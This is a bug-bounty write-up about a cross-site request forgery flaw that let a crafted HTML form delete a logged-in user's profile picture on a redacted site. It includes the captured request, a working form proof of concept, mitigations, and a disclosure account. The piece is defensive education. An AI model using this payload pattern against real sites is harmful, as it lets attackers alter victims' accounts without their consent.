How I Found a CSRF Vulnerability in Profile Picture Deletion

3 days ago 9
BOOK THIS SPACE FOR AD
ARTICLE AD

EL_Cazad0r

Introduction

In this article, I’ll share a critical Cross-Site Request Forgery (CSRF) vulnerability I discovered on a web application (masked as redacted) that allowed unauthorized deletion of a user’s profile picture. While the impact may seem minor at first glance, it highlights the importance of implementing proper server-side validation and anti-CSRF mechanisms to protect user actions.

This write-up will walk you through the steps I followed to identify, exploit, and responsibly disclose this vulnerability.

Summary
• Affected URL/Asset: www.redacted.com
• Vulnerable Endpoint: www.redacted.com/?_f=profilPreferences&action=profil
• Vulnerability Type: Cross-Site Request Forgery (CSRF)
• Browsers Tested: Chrome and Firefox

The issue allowed an attacker to craft a malicious request that, if clicked by a logged-in user, would delete their profile picture without their consent.

Steps to Reproduce

Here’s how I uncovered and exploited the vulnerability:

1. Create a User Account

I created an account on the application and set a profile picture to simulate a typical user scenario.

2. Capture the Request

I navigated to the profile section (Profile → Edit → Profile Picture) and selected the option to delete the profile picture.
Using Burp Suite, I intercepted and captured the HTTP request for deleting the profile picture. The request looked something like this:

POST /?_f=prefsCoords&action=removeStaffPicture HTTP/1.1
Host: www.redacted.com
Content-Length: 0
Cookie: session=abc123xyz

3. Crafting the CSRF Proof of Concept (PoC)

With the captured request, I created a malicious HTML form to simulate a CSRF attack. The form, when executed, would send a POST request to the vulnerable endpoint on behalf of the logged-in victim, deleting their profile picture.

Here’s the PoC code:

<html>
<body>
<script>history.pushState(‘’, ‘’, ‘/’)</script>
<form action=”https://www.redacted.com/?_f=prefsCoords&action=removeStaffPicture" method=”POST”>
<input type=”submit” value=”Submit request” />
</form>
</body>
</html>

4. Attack Execution

I sent the PoC to the victim (e.g., via email or embedding it in a malicious website).
• If the victim was logged into their account and clicked the “Submit” button, their profile picture was deleted without any additional confirmation or validation.

Impact

Although the immediate impact of deleting a profile picture might seem minimal, this vulnerability compromises:
• Integrity: The user’s data is altered without their consent.
• Availability: The user’s profile picture is deleted, disrupting their experience.
• Reputation: Attackers could exploit this vulnerability to harass or inconvenience users, reducing trust in the platform.

Mitigation Recommendations

To prevent such vulnerabilities, the following measures should be implemented:
1. Anti-CSRF Tokens: Incorporate CSRF tokens for all state-changing requests. These tokens ensure that requests originate from the authenticated user’s session.
2. Referer/Origin Header Validation: Validate the Referer or Origin headers to ensure requests come from trusted sources.
3. POST Requests with Confirmation: Require user confirmation before executing sensitive actions, like deleting a profile picture.
4. Session Validation: Verify user sessions on the server-side to ensure the request is authorized.
5. Educate Developers: Train developers to recognize and mitigate CSRF vulnerabilities during the development process.

Responsible Disclosure

I responsibly disclosed this vulnerability to the security team of the affected application, providing them with detailed steps to reproduce and mitigate the issue. The team responded promptly and fixed the vulnerability by implementing CSRF tokens across all sensitive actions.

What are your thoughts on this? Have you come across similar vulnerabilities? Let’s discuss in the comments or connect on LinkedIn!

Stay secure, and happy hunting!

https://www.linkedin.com/in/nihaltikka

Read Entire Article